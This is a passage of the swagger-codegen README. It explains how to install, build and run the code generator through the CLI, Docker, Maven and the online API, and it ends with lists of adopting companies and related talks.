v2.2.2](https://github.com/swagger-api/swagger-codegen/tree/v2.2.2) [2.2.1](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.2.1) | 2016-08-07 | 1.0, 1.1, 1.2, 2.0 | [tag v2.2.1](https://github.com/swagger-api/swagger-codegen/tree/v2.2.1) [2.1.6](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.1.6) | 2016-04-06 | 1.0, 1.1, 1.2, 2.0 | [tag v2.1.6](https://github.com/swagger-api/swagger-codegen/tree/v2.1.6) 2.0.17 | 2014-08-22 | 1.1, 1.2 | [tag v2.0.17](https://github.com/swagger-api/swagger-codegen/tree/2.0.17) 1.0.4 | 2012-04-12 | 1.0, 1.1 | [tag v1.0.4](https://github.com/swagger-api/swagger-codegen/tree/swagger-codegen_2.9.1-1.1) ### Prerequisites If you're looking for the latest stable version, you can grab it directly from Maven.org (Java 7 runtime at a minimum): ```sh wget http://central.maven.org/maven2/io/swagger/swagger-codegen-cli/2.2.3/swagger-codegen-cli-2.2.3.jar -O swagger-codegen-cli.jar java -jar swagger-codegen-cli.jar help ``` On a mac, it's even easier with `brew`: ```sh brew install swagger-codegen ``` To build from source, you need the following installed and available in your $PATH: * [Java 7 or 8](http://java.oracle.com) * [Apache maven 3.3.3 or greater](http://maven.apache.org/) #### OS X Users Don't forget to install Java 7 or 8. You probably have 1.6. Export JAVA_HOME in order to use the supported Java version: ```sh export JAVA_HOME=`/usr/libexec/java_home -v 1.8` export PATH=${JAVA_HOME}/bin:$PATH ``` ### Building After cloning the project, you can build it from source with this command: ```sh mvn clean package ``` ### Homebrew To install, run `brew install swagger-codegen` Here is an example usage: ```sh swagger-codegen generate -i http://petstore.swagger.io/v2/swagger.json -l ruby -o /tmp/test/ ``` ### Docker #### Development in docker You can use `run-in-docker.sh` to do all development. This script maps your local repository to `/gen` in the docker container. It also maps `~/.m2/repository` to the appropriate container location. To execute `mvn package`: ```sh git clone https://github.com/swagger-api/swagger-codegen cd swagger-codegen ./run-in-docker.sh mvn package ``` Build artifacts are now accessible in your working directory. Once built, `run-in-docker.sh` will act as an executable for swagger-codegen-cli. To generate code, you'll need to output to a directory under `/gen` (e.g. `/gen/out`). For example: ```sh ./run-in-docker.sh help # Executes 'help' command for swagger-codegen-cli ./run-in-docker.sh langs # Executes 'langs' command for swagger-codegen-cli ./run-in-docker.sh /gen/bin/go-petstore.sh # Builds the Go client ./run-in-docker.sh generate -i modules/swagger-codegen/src/test/resources/2_0/petstore.yaml \ -l go -o /gen/out/go-petstore -DpackageName=petstore # generates go client, outputs locally to ./out/go-petstore ``` #### Run Docker in Vagrant Prerequisite: install [Vagrant](https://www.vagrantup.com/downloads.html) and [VirtualBox](https://www.virtualbox.org/wiki/Downloads). ```sh git clone http://github.com/swagger-api/swagger-codegen.git cd swagger-codegen vagrant up vagrant ssh cd /vagrant ./run-in-docker.sh mvn package ``` #### Public Pre-built Docker images - https://hub.docker.com/r/swaggerapi/swagger-generator/ (official web service) - https://hub.docker.com/r/swaggerapi/swagger-codegen-cli/ (official CLI) ##### Swagger Generator Docker Image The Swagger Generator image can act as a self-hosted web application and API for generating code. This container can be incorporated into a CI pipeline, and requires at least two HTTP requests and some docker orchestration to access generated code. Example usage (note this assumes `jq` is installed for command line processing of JSON): ```sh # Start container and save the container id CID=$(docker run -d swaggerapi/swagger-generator) # allow for startup sleep 5 # Get the IP of the running container GEN_IP=$(docker inspect --format '{{.NetworkSettings.IPAddress}}' $CID) # Execute an HTTP request and store the download link RESULT=$(curl -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' -d '{ "swaggerUrl": "http://petstore.swagger.io/v2/swagger.json" }' 'http://localhost:8188/api/gen/clients/javascript' | jq '.link' | tr -d '"') # Download the generated zip and redirect to a file curl $RESULT > result.zip # Shutdown the swagger generator image docker stop $CID && docker rm $CID ``` In the example above, `result.zip` will contain the generated client. ##### Swagger Codegen CLI Docker Image The Swagger Codegen image acts as a standalone executable. It can be used as an alternative to installing via homebrew, or for developers who are unable to install Java or upgrade the installed version. To generate code with this image, you'll need to mount a local location as a volume. Example: ```sh docker run --rm -v ${PWD}:/local swaggerapi/swagger-codegen-cli generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l go \ -o /local/out/go ``` The generated code will be located under `./out/go` in the current directory. ## Getting Started To generate a PHP client for http://petstore.swagger.io/v2/swagger.json, please run the following ```sh git clone https://github.com/swagger-api/swagger-codegen cd swagger-codegen mvn clean package java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l php \ -o /var/tmp/php_api_client ``` (if you're on Windows, replace the last command with `java -jar modules\swagger-codegen-cli\target\swagger-codegen-cli.jar generate -i http://petstore.swagger.io/v2/swagger.json -l php -o c:\temp\php_api_client`) You can also download the JAR (latest release) directly from [maven.org](http://central.maven.org/maven2/io/swagger/swagger-codegen-cli/2.2.3/swagger-codegen-cli-2.2.3.jar) To get a list of **general** options available, please run `java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar help generate` To get a list of PHP specified options (which can be passed to the generator with a config file via the `-c` option), please run `java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar config-help -l php` ## Generators ### To generate a sample client library You can build a client against the swagger sample [petstore](http://petstore.swagger.io) API as follows: ```sh ./bin/java-petstore.sh ``` (On Windows, run `.\bin\windows\java-petstore.bat` instead) This will run the generator with this command: ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l java \ -o samples/client/petstore/java ``` with a number of options. You can get the options with the `help generate` command (below only shows partal results): ``` NAME swagger-codegen-cli generate - Generate code with chosen lang SYNOPSIS swagger-codegen-cli generate [(-a <authorization> | --auth <authorization>)] [--additional-properties <additional properties>...] [--api-package <api package>] [--artifact-id <artifact id>] [--artifact-version <artifact version>] [(-c <configuration file> | --config <configuration file>)] [-D <system properties>...] [--git-repo-id <git repo id>] [--git-user-id <git user id>] [--group-id <group id>] [--http-user-agent <http user agent>] (-i <spec file> | --input-spec <spec file>) [--ignore-file-override <ignore file override location>] [--import-mappings <import mappings>...] [--instantiation-types <instantiation types>...] [--invoker-package <invoker package>] (-l <language> | --lang <language>) [--language-specific-primitives <language specific primitives>...] [--library <library>] [--model-name-prefix <model name prefix>] [--model-name-suffix <model name suffix>] [--model-package <model package>] [(-o <output directory> | --output <output directory>)] [--release-note <release note>] [--remove-operation-id-prefix] [--reserved-words-mappings <reserved word mappings>...] [(-s | --skip-overwrite)] [(-t <template directory> | --template-dir <template directory>)] [--type-mappings <type mappings>...] [(-v | --verbose)] OPTIONS -a <authorization>, --auth <authorization> adds authorization headers when fetching the swagger definitions remotely. Pass in a URL-encoded string of name:header with a comma separating multiple values ...... (results omitted) -v, --verbose verbose mode ``` You can then compile and run the client, as well as unit tests against it: ```sh cd samples/client/petstore/java mvn package ``` Other languages have petstore samples, too: ```sh ./bin/android-petstore.sh ./bin/java-petstore.sh ./bin/objc-petstore.sh ``` ### Generating libraries from your server It's just as easy--just use the `-i` flag to point to either a server or file. ### Modifying the client library format Don't like the default swagger client syntax? Want a different language supported? No problem! Swagger codegen processes mustache templates with the [jmustache](https://github.com/samskivert/jmustache) engine. You can modify our templates or make your own. You can look at `modules/swagger-codegen/src/main/resources/${your-language}` for examples. To make your own templates, create your own files and use the `-t` flag to specify your template folder. It actually is that easy. ### Making your own codegen modules If you're starting a project with a new language and don't see what you need, swagger-codegen can help you create a project to generate your own libraries: ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar meta \ -o output/myLibrary -n myClientCodegen -p com.my.company.codegen ``` This will write, in the folder `output/myLibrary`, all the files you need to get started, including a README.md. Once modified and compiled, you can load your library with the codegen and generate clients with your own, custom-rolled logic. You would then compile your library in the `output/myLibrary` folder with `mvn package` and execute the codegen like such: ```sh java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar:modules/swagger-codegen-cli/target/swagger-codegen-cli.jar io.swagger.codegen.SwaggerCodegen ``` For Windows users, you will need to use `;` instead of `:` in the classpath, e.g. ``` java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar;modules/swagger-codegen-cli/target/swagger-codegen-cli.jar io.swagger.codegen.SwaggerCodegen ``` Note the `myClientCodegen` is an option now, and you can use the usual arguments for generating your library: ```sh java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar:modules/swagger-codegen-cli/target/swagger-codegen-cli.jar \ io.swagger.codegen.SwaggerCodegen generate -l myClientCodegen\ -i http://petstore.swagger.io/v2/swagger.json \ -o myClient ``` ### Where is Javascript??? See our [javascript library](http://github.com/swagger-api/swagger-js)--it's completely dynamic and doesn't require static code generation. There is a third-party component called [swagger-js-codegen](https://github.com/wcandillon/swagger-js-codegen) that can generate angularjs or nodejs source code from a OpenAPI Specification. :exclamation: On Dec 7th 2015, a Javascript API client generator has been added by @jfiala. ### Generating a client from local files If you don't want to call your server, you can save the OpenAPI Spec files into a directory and pass an argument to the code generator like this: ``` -i ./modules/swagger-codegen/src/test/resources/2_0/petstore.json ``` Great for creating libraries on your ci server, from the [Swagger Editor](http://editor.swagger.io)... or while coding on an airplane. ### Selective generation You may not want to generate *all* models in your project. Likewise you may want just one or two apis to be written. If that's the case, you can use system properties to control the output: The default is generate *everything* supported by the specific library. Once you enable a feature, it will restrict the contents generated: ```sh # generate only models java -Dmodels {opts} # generate only apis java -Dapis {opts} # generate only supporting files java -DsupportingFiles # generate models and supporting files java -Dmodels -DsupportingFiles ``` To control the specific files being generated, you can pass a CSV list of what you want: ```sh # generate the User and Pet models only -Dmodels=User,Pet # generate the User model and the supportingFile `StringUtil.java`: -Dmodels=User -DsupportingFiles=StringUtil.java ``` To control generation of docs and tests for api and models, pass false to the option. For api, these options are `-DapiTests=false` and `-DapiDocs=false`. For models, `-DmodelTests=false` and `-DmodelDocs=false`. These options default to true and don't limit the generation of the feature options listed above (like `-Dapi`): ```sh # generate only models (with tests and documentation) java -Dmodels {opts} # generate only models (with tests but no documentation) java -Dmodels -DmodelDocs=false {opts} # generate only User and Pet models (no tests and no documentation) java -Dmodels=User,Pet -DmodelTests=false {opts} # generate only apis (without tests) java -Dapis -DapiTests=false {opts} # generate only apis (modelTests option is ignored) java -Dapis -DmodelTests=false {opts} ``` When using selective generation, _only_ the templates needed for the specific generation will be used. ### Ignore file format Swagger codegen supports a `.swagger-codegen-ignore` file, similar to `.gitignore` or `.dockerignore` you're probably already familiar with. The ignore file allows for better control over overwriting existing files than the `--skip-overwrite` flag. With the ignore file, you can specify individual files or directories can be ignored. This can be useful, for example if you only want a subset of the generated code. Examples: ```sh # Swagger Codegen Ignore # Lines beginning with a # are comments # This should match build.sh located anywhere. build.sh # Matches build.sh in the root /build.sh # Exclude all recursively docs/** # Explicitly allow files excluded by other rules !docs/UserApi.md # Recursively exclude directories named Api # You can't negate files below this directory. src/**/Api/ # When this file is nested under /Api (excluded above), # this rule is ignored because parent directory is excluded by previous rule. !src/**/PetApiTests.cs # Exclude a single, nested file explicitly src/IO.Swagger.Test/Model/AnimalFarmTests.cs ``` The `.swagger-codegen-ignore` file must exist in the root of the output directory. Upon first code generation, you may also pass the CLI option `--ignore-file-override=/path/to/ignore_file` for greater control over generated outputs. Note that this is a complete override, and will override the `.swagger-codegen-ignore` file in an output directory when regenerating code. Editor support for `.swagger-codegen-ignore` files is available in IntelliJ via the [.ignore plugin](https://plugins.jetbrains.com/plugin/7495--ignore). ### Customizing the generator There are different aspects of customizing the code generator beyond just creating or modifying templates. Each language has a supporting configuration file to handle different type mappings, etc: ```sh $ ls -1 modules/swagger-codegen/src/main/java/io/swagger/codegen/languages/ AbstractJavaJAXRSServerCodegen.java AbstractTypeScriptClientCodegen.java ... (results omitted) TypeScriptAngularClientCodegen.java TypeScriptNodeClientCodegen.java ``` Each of these files creates reasonable defaults so you can get running quickly. But if you want to configure package names, prefixes, model folders, etc. you can use a json config file to pass the values. ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l java \ -o samples/client/petstore/java \ -c path/to/config.json ``` and `config.json` contains the following as an example: ```json { "apiPackage" : "petstore" } ``` Supported config options can be different per language. Running `config-help -l {lang}` will show available options. **These options are applied via configuration file (e.g. config.json) or by passing them with `-D{optionName}={optionValue}`**. (If `-D{optionName}` does not work, please open a [ticket](https://github.com/swagger-api/swagger-codegen/issues/new) and we'll look into it) ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar config-help -l java ``` Output ``` CONFIG OPTIONS modelPackage package for generated models apiPackage package for generated api classes ...... (results omitted) library library template (sub-template) to use: jersey1 - HTTP client: Jersey client 1.18. JSON processing: Jackson 2.4.2 jersey2 - HTTP client: Jersey client 2.6 feign - HTTP client: Netflix Feign 8.1.1. JSON processing: Jackson 2.6.3 okhttp-gson (default) - HTTP client: OkHttp 2.4.0. JSON processing: Gson 2.3.1 retrofit - HTTP client: OkHttp 2.4.0. JSON processing: Gson 2.3.1 (Retrofit 1.9.0) retrofit2 - HTTP client: OkHttp 2.5.0. JSON processing: Gson 2.4 (Retrofit 2.0.0-beta2) google-api-client - HTTP client: google-api-client 1.23.0. JSON processing: Jackson 2.8.9 ``` Your config file for Java can look like ```json { "groupId":"com.my.company", "artifactId":"MyClient", "artifactVersion":"1.2.0", "library":"feign" } ``` For all the unspecified options default values will be used. Another way to override default options is to extend the config class for the specific language. To change, for example, the prefix for the Objective-C generated files, simply subclass the ObjcClientCodegen.java: ```java package com.mycompany.swagger.codegen; import io.swagger.codegen.languages.*; public class MyObjcCodegen extends ObjcClientCodegen { static { PREFIX = "HELO"; } } ``` and specify the `classname` when running the generator: ``` -l com.mycompany.swagger.codegen.MyObjcCodegen ``` Your subclass will now be loaded and overrides the `PREFIX` value in the superclass. ### Bringing your own models Sometimes you don't want a model generated. In this case, you can simply specify an import mapping to tell the codegen what _not_ to create. When doing this, every location that references a specific model will refer back to your classes. Note, this may not apply to all languages... To specify an import mapping, use the `--import-mappings` argument and specify the model-to-import logic as such: ``` --import-mappings Pet=my.models.MyPet ``` Or for multiple mappings: ``` --import-mappings Pet=my.models.MyPet,Order=my.models.MyOrder ``` or ``` --import-mappings Pet=my.models.MyPet --import-mappings Order=my.models.MyOrder ``` ### Validating your OpenAPI Spec You have options. The easiest is to use our [online validator](https://github.com/swagger-api/validator-badge) which not only will let you validate your spec, but with the debug flag, you can see what's wrong with your spec. For example: http://online.swagger.io/validator/debug?url=http://petstore.swagger.io/v2/swagger.json ### Generating dynamic html api documentation To do so, just use the `-l dynamic-html` flag when reading a spec file. This creates HTML documentation that is available as a single-page application with AJAX. To view the documentation: ```sh cd samples/dynamic-html/ npm install node . ``` Which launches a node.js server so the AJAX calls have a place to go. ### Generating static html api documentation To do so, just use the `-l html` flag when reading a spec file. This creates a single, simple HTML file with embedded css so you can ship it as an email attachment, or load it from your filesystem: ```sh cd samples/html/ open index.html ``` ### To build a server stub Please refer to https://github.com/swagger-api/swagger-codegen/wiki/Server-stub-generator-HOWTO for more information. ### To build the codegen library This will create the swagger-codegen library from source. ```sh mvn package ``` Note! The templates are included in the library generated. If you want to modify the templates, you'll need to either repackage the library OR specify a path to your scripts ## Workflow Integration ### Maven Integration You can use the [swagger-codegen-maven-plugin](modules/swagger-codegen-maven-plugin/README.md) for integrating with your workflow, and generating any codegen target. ### Gradle Integration [Gradle Swagger Generator Plugin](https://github.com/int128/gradle-swagger-generator-plugin) is available for generating source code and API document. ## GitHub Integration To push the auto-generated SDK to GitHub, we provide `git_push.sh` to streamline the process. For example: 1) Create a new repository in GitHub (Ref: https://help.github.com/articles/creating-a-new-repository/) 2) Generate the SDK ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i modules/swagger-codegen/src/test/resources/2_0/petstore.json -l perl \ --git-user-id "wing328" \ --git-repo-id "petstore-perl" \ --release-note "Github integration demo" \ -o /var/tmp/perl/petstore ``` 3) Push the SDK to GitHub ```sh cd /var/tmp/perl/petstore /bin/sh ./git_push.sh ``` ## Online generators One can also generate API client or server using the online generators (https://generator.swagger.io) For example, to generate Ruby API client, simply send the following HTTP request using curl: ```sh curl -X POST -H "content-type:application/json" -d '{"swaggerUrl":"http://petstore.swagger.io/v2/swagger.json"}' https://generator.swagger.io/api/gen/clients/ruby ``` Then you will receieve a JSON response with the URL to download the zipped code. To customize the SDK, you can `POST` to `https://generator.swagger.io/gen/clients/{language}` with the following HTTP body: ```json { "options": {}, "swaggerUrl": "http://petstore.swagger.io/v2/swagger.json" } ``` in which the `options` for a language can be obtained by submitting a `GET` request to `https://generator.swagger.io/api/gen/clients/{language}`: For example, `curl https://generator.swagger.io/api/gen/clients/python` returns ```json { "packageName":{ "opt":"packageName", "description":"python package name (convention: snake_case).", "type":"string", "default":"swagger_client" }, "packageVersion":{ "opt":"packageVersion", "description":"python package version.", "type":"string", "default":"1.0.0" }, "sortParamsByRequiredFlag":{ "opt":"sortParamsByRequiredFlag", "description":"Sort method arguments to place required parameters before optional parameters.", "type":"boolean", "default":"true" } } ``` To set package name to `pet_store`, the HTTP body of the request is as follows: ```json { "options": { "packageName": "pet_store" }, "swaggerUrl": "http://petstore.swagger.io/v2/swagger.json" } ``` and here is the curl command: ```sh curl -H "Content-type: application/json" -X POST -d '{"options": {"packageName": "pet_store"},"swaggerUrl": "http://petstore.swagger.io/v2/swagger.json"}' https://generator.swagger.io/api/gen/clients/python ``` Instead of using `swaggerUrl` with an URL to the OpenAPI/Swagger spec, one can include the spec in the JSON payload with `spec`, e.g. ```json { "options": {}, "spec": { "swagger": "2.0", "info": { "version": "1.0.0", "title": "Test API" }, ... } } ``` Guidelines for Contribution --------------------------- Please refer to this [page](https://github.com/swagger-api/swagger-codegen/blob/master/CONTRIBUTING.md) Companies/Projects using Swagger Codegen ---------------------------------------- Here are some companies/projects using Swagger Codegen in production. To add your company/project to the list, please visit [README.md](https://github.com/swagger-api/swagger-codegen/blob/master/README.md) and click on the icon to edit the page. - [Accengage](https://www.accengage.com/) - [Activehours](https://www.activehours.com/) - [Acunetix](https://www.acunetix.com/) - [Atlassian](https://www.atlassian.com/) - [Autodesk](http://www.autodesk.com/) - [Avenida Compras S.A.](https://www.avenida.com.ar) - [AYLIEN](http://aylien.com/) - [Balance Internet](https://www.balanceinternet.com.au/) - [beemo](http://www.beemo.eu) - [bitly](https://bitly.com) - [BeezUP](http://www.beezup.com) - [Box](https://box.com) - [Bufferfly Network](https://www.butterflynetinc.com/) - [Cachet Financial](http://www.cachetfinancial.com/) - [carpolo](http://www.carpolo.co/) - [CloudBoost](https://www.CloudBoost.io/) - [Cisco](http://www.cisco.com/) - [Conplement](http://www.conplement.de/) - [Cummins](http://www.cummins.com/) - [Cupix](http://www.cupix.com) - [DBBest Technologies](https://www.dbbest.com) - [DecentFoX](http://decentfox.com/) - [DocRaptor](https://docraptor.com) - [DocuSign](https://www.docusign.com) - [Elastic](https://www.elastic.co/) - [Ergon](http://www.ergon.ch/) - [Dell EMC](https://www.emc.com/) - [eureka](http://eure.jp/) - [everystory.us](http://everystory.us) - [Expected Behavior](http://www.expectedbehavior.com/) - [Fastly](https://www.fastly.com/) - [FINRA](https://github.com/FINRAOS/herd/) - [Flat](https://flat.io) - [Finder](http://en.finder.pl/) - [Fitwell](https://fitwell.co/) - [FH Münster - University of Applied Sciences](http://www.fh-muenster.de) - [Fotition](https://www.fotition.com/) - [Gear Zero Network](https://www.gearzero.ca) - [General Electric](https://www.ge.com/) - [Genesys - PureCloud](http://developer.mypurecloud.com/) - [Germin8](http://www.germin8.com) - [GigaSpaces](http://www.gigaspaces.com) - [goTransverse](http://www.gotransverse.com/api) - [GraphHopper](https://graphhopper.com/) - [Gravitate Solutions](http://gravitatesolutions.com/) - [HashData](http://www.hashdata.cn/) - [Hewlett Packard Enterprise](https://hpe.com) - [High Technologies Center](http://htc-cs.com) - [IBM](https://www.ibm.com) - [IMS Health](http://www.imshealth.com/en/solution-areas/technology-and-applications) - [Individual Standard IVS](http://www.individual-standard.com) - [Intent HQ](http://www.intenthq.com) - [Kabuku](http://www.kabuku.co.jp/en) - [Kurio](https://kurio.co.id) - [Kuroi](http://kuroiwebdesign.com/) - [Kuary](https://kuary.com/) - [Kubernetes](https://kubernetes.io/) - [LANDR Audio](https://www.landr.com/) - [Lascaux](http://www.lascaux.it/) - [Leanix](http://www.leanix.net/) - [Leica Geosystems AG](http://leica-geosystems.com) - [LiveAgent](https://www.ladesk.com/) - [LXL Tech](http://lxltech.com) - [Lyft](https://www.lyft.com/developers) - [MailMojo](https://mailmojo.no/) - [Metaswitch](https://www.metaswitch.com/) - [Mindera](http://mindera.com/) - [Mporium](http://mporium.com/) - [Neverfail](https://neverfail.com/) - [NTT DATA](http://www.nttdata.com/) - [nViso](http://www.nviso.ch/) - [Okiok](https://www.okiok.com) - [Onedata](http://onedata.org) - [Open International Systems](https://openintl.com/) - [OrderCloud.io](http://ordercloud.io) - [OSDN](https://osdn.jp) - [PagerDuty](https://www.pagerduty.com) - [PagerTree](https://pagertree.com) - [Pepipost](https://www.pepipost.com) - [Plexxi](http://www.plexxi.com) - [Pixoneye](http://www.pixoneye.com/) - [PostAffiliatePro](https://www.postaffiliatepro.com/) - [PracticeBird](https://www.practicebird.com/) - [Prill Tecnologia](http://www.prill.com.br) - [QAdept](http://qadept.com/) - [QuantiModo](https://quantimo.do/) - [QuickBlox](https://quickblox.com/) - [Rapid7](https://rapid7.com/) - [Red Hat](https://www.redhat.com/) - [Reload! A/S](https://reload.dk/) - [REstore](https://www.restore.eu) - [Revault Sàrl](http://revault.ch) - [Riffyn](https://riffyn.com) - [Royal Bank of Canada (RBC)](http://www.rbc.com/canada.html) - [Saritasa](https://www.saritasa.com/) - [SAS](https://www.sas.com) - [SCOOP Software GmbH](http://www.scoop-software.de) - [Shine Solutions](https://shinesolutions.com/) - [Simpfony](https://www.simpfony.com/) - [Skurt](http://www.skurt.com) - [Slamby](https://www.slamby.com/) - [SmartRecruiters](https://www.smartrecruiters.com/) - [snapCX](https://snapcx.io) - [SPINEN](http://www.spinen.com) - [Sponsoo](https://www.sponsoo.de) - [SRC](https://www.src.si/) - [Stardog Ventures](https://www.stardog.io) - [Stingray](http://www.stingray.com) - [StyleRecipe](http://stylerecipe.co.jp) - [Svenska Spel AB](https://www.svenskaspel.se/) - [Switch Database](https://www.switchdatabase.com/) - [TaskData](http://www.taskdata.com/) - [ThoughtWorks](https://www.thoughtworks.com) - [Trexle](https://trexle.com/) - [Upwork](http://upwork.com/) - [uShip](https://www.uship.com/) - [VMware](https://vmware.com/) - [Viavi Solutions Inc.](https://www.viavisolutions.com) - [W.UP](http://wup.hu/?siteLang=en) - [Wealthfront](https://www.wealthfront.com/) - [Webever GmbH](https://www.webever.de/) - [WEXO A/S](https://www.wexo.dk/) - [XSky](http://www.xsky.com/) - [Yelp](http://www.yelp.com/) - [Zalando](https://tech.zalando.com) - [ZEEF.com](https://zeef.com/) - [zooplus](https://www.zooplus.com/) Presentations/Videos/Tutorials/Books ---------------------------------------- - 2011/08/31 - [Introducing Swagger](https://www.slideshare.net/fehguy/introducing-swagger) by [Tony Tam](https://twitter.com/fehguy) - 2014/05/22 - [Swagger APIs for Humans and Robots](https://www.slideshare.net/fehguy/swagger-apis-for-humans-and-robots-gluecon) by [Tony Tam](https://twitter.com/fehguy) at [Gluecon](http://gluecon.com/) - 2014/11/11 - [Genie 2.0: Second Wish Granted!](https://medium.com/netflix-techblog/genie-2-0-second-wish-granted-d888d79455c6) by [Tom Gianos](http://www.linkedin.com/in/thomasgianos/) and [Amit Sharma](https://www.linkedin.com/pub/amit-sharma/5/163/a83) @ [Netflix](https://www.netflix.com/) Big Data Platform Team - 2015/07/28 - [Enriching RESTful Services with Swagger](https://blog.philipphauer.de/enriching-restful-services-swagger/) by [Philipp Hauer](https://blog.philipphauer.de/) - 2015/11/11 - [Generate client stubs & document your REST-API using Swagger & Spring](https://www.youtube.com/watch?v=43GhBbP--oI) by [Johannes Fiala](https://github.com/jfiala) @ Devoxx Belgium 2015 - 2015/12/03 - [こんなに簡単! Swagger Codegenのカスタマイズ](http://qiita.com/Quramy/items/c583f3213f0b77ff1bac) by [Quramy](http://qiita.com/Quramy) - 2016/01/12 - [Generate client side code using Swagger Codegen](http://rnavagamuwa.com/open-source/generate-client-side-code-using-swagger-codegen/) by [RNAVAGAMUWA](http://rnavagamuwa.com/author/admin/) - 2016/01/15 - [How to end manual REST-API client coding](https://www.youtube.com/watch?v=RzZRdqZp6Oo) by [Johannes Fiala](https://github.com/jfiala) @ dotJS 2015 - 2016/04/27 - [Automated REST API Development](https://yos.io/2016/04/27/automated-api-development/) by [Yos Riady](https://www.linkedin.com/in/yosriady) - 2016/05/29 - [Generating Java Spring-MVC code from Swagger Spec](https://www.clianz.com/2016/05/29/java-mvc-swagger-gen/) by [@icha024](https://github.com/icha024) - 2016/09/28 - [1 UNBELIEVABLE TRICK TO CREATE AN EASY TO CONSUME API IN .NET](https://stapp.space/1-simple-trick-to-create-a-good-api-in-net/) by [Piotr Stapp](https://stapp.space/author/piotr-stapp/) - 2016/10/10 - [Using swagger-codegen with Marketo](http://developers.marketo.com/blog/using-swagger-codegen-with-marketo/) by [Kenny Elkington](http://developers.marketo.com/blog/using-swagger-codegen-with-marketo/) - 2016/10/12 - [Designing a Swagger API](https://sookocheff.com/post/api/swagger/) by [Kevin Sookocheff](https://sookocheff.com/) - 2016/11/05 - [How to generate a REST Application](https://www.youtube.com/watch?v=iyC9BWMe75Q) by [Johannes Fiala](https://github.com/jfiala) @ DevFest Vienna 2016 - 2016/11/10 - [Building an AEM API clients ecosystem](http://blog.cliffano.com/2016/11/10/adobe-marketing-cloud-community-expo/) by Cliffano Subagio, Michael Diender, Stephen Shim from [Shine Solutions](https://shinesolutions.com/) @ [Adobe Marketing Cloud Community Expo (AMCCE)](https://www.meetup.com/Melbourne-AEM-CQ-Meetup/events/233363101/) - 2016/11/18 - [How to generate a REST CXF3 application from Swagger-Contract](https://www.slideshare.net/johannes_fiala/how-to-generate-a-rest-cxf3-application-from-swagger-apacheconeu-2016) by [Johannes Fiala](https://github.com/jfiala) @ ApacheConEU 2016 - 2016/11/25 - [Swagger Codegen for Swift3 and NodeJS](https://normand1.github.io/blog/swift/swagger/codegen/2016/11/25/Swagger-Codegen-for-Swift3-and-NodeJS.html) by [David Norman](https://github.com/normand1) - 2016/12/08 - [Generate client side code using Swagger Codegen](https://carra-lucia-ltd.co.uk/2016/12/08/generate-client-side-code-using-swagger-codegen/) by [theFerkel](https://carra-lucia-ltd.co.uk/author/theferkel/) - 2017/01/16 - [Zero to API in 4 minutes](https://cidrblock.github.io/zero-to-api-in-4-minutes.html) by [Bradley A. Thornton](https://github.com/cidrblock) - 2017/02/09 - [「Swaggerを利用した新規サービス開発」というタイトルで登壇して来ました](https://techblog.recochoku.jp/1055) by [recotech](https://www.slideshare.net/recotech) - 2017/03/03 - [Swagger Codegen の使い方の簡単な説明です](https://speakerdeck.com/wagyu298/swagger-codegen) by [wagyu298](https://github.com/wagyu298) - 2017/03/24 - [Using Open API Specification To Put Lyft SDK Support in the Fast Lane](https://medium.com/lyft-developer-platform/using-open-api-specification-to-put-lyft-sdk-support-in-the-fast-lane-7b623218e4ee) by [Val Polouchkine](https://github.com/vpolouchkine) - 2017/04/13 - [Automatically Generating your API Client with Swagger and Swagger Codegen](https://www.youtube.com/watch?v=EzKwi-u9jQo) by [Jesse Collis](https://github.com/jessedc) @ Melbourne Cocoaheads - 2017/04/27 - [Swagger Codegen のPHP実装があまりにアレだったので、ライブラリ自作して公開してみた](http://qiita.com/imunew/items/2e9c472e0097e329f2cd) by [imunew](http://qiita.com/imunew) - 2017/05/17 - [Diseño de APIs con OpenAPI](https://www.slideshare.net/pjmolina/diseo-de-apis-con-openapi) by [Pedro J. Molina](https://github.com/pjmolina) @ [JSDayES 2017](http://2017.jsday.es/) - 2017/05/22 - [Presentation of the Vert.x-Swagger project](http://vertx.io/blog/presentation-of-the-vert-x-swagger-project/) by [@phiz71](http://github.com/phiz71) - 2017/05/22 - [Automatically generating your API from a swagger file using gradle](https://www.jcore.com/2017/05/22/automatically-generating-api-using-swagger-and-gradle/) by [Deniz Turan](https://www.jcore.com/author/deniz/) - 2017/06/21 - [Swagger Presentation - Warsaw Ruby Users Group](https://www.youtube.com/watch?v=uCnnDMFQB8U) by [@rafalpetryka](http://github.com/rafalpetryka) - 2017/06/29 - [Making SDKs: the bespoke, the hopeful and the generated](https://devrel.net/developer-experience/making-sdks-bespoke-hopeful-generated) by [Tristan Sokol](https://github.com/tristansokol) ([Square](https://github.com/square)) at DevXcon 2017 - 2017/07/11 - [OpenAPI development with Python](https://www.slideshare.net/TakuroWada/20170711-euro-python2017) by [和田拓朗](https://github.com/taxpon) at [EuroPython 2017](https://ep2017.europython.eu/en/) - 2017/07/29 - [How Square makes its SDKs](https://medium.com/square-corner-blog/how-square-makes-its-sdks-6a0fd7ea4b2d) by [Tristan Sokol](https://github.com/tristansokol) ([Square](https://github.com/square)) - 2017/07/31 - [How to Generate a Deployable REST CXF3 Application from a Swagger-Contract](https://www.youtube.com/watch?v=gM63rJlUHZQ) by [Johannes Fiala](https://github.com/jfiala) @ Voxxed Days Vienna - 2017/08/11 - [Swagger Codegen 自动生成Retrofit 代码](https://juejin.im/entry/598d8eb86fb9a03c52459e2a) by [徐磊](http://www.jianshu.com/u/792c738b33fc) - 2017/08/24 - [APIs First](https://engineering.squarespace.com/blog/2017/apis-first) by [roykachouh](https://github.com/roykachouh) ([Square](https://github.com/square)) - 2017/08/31 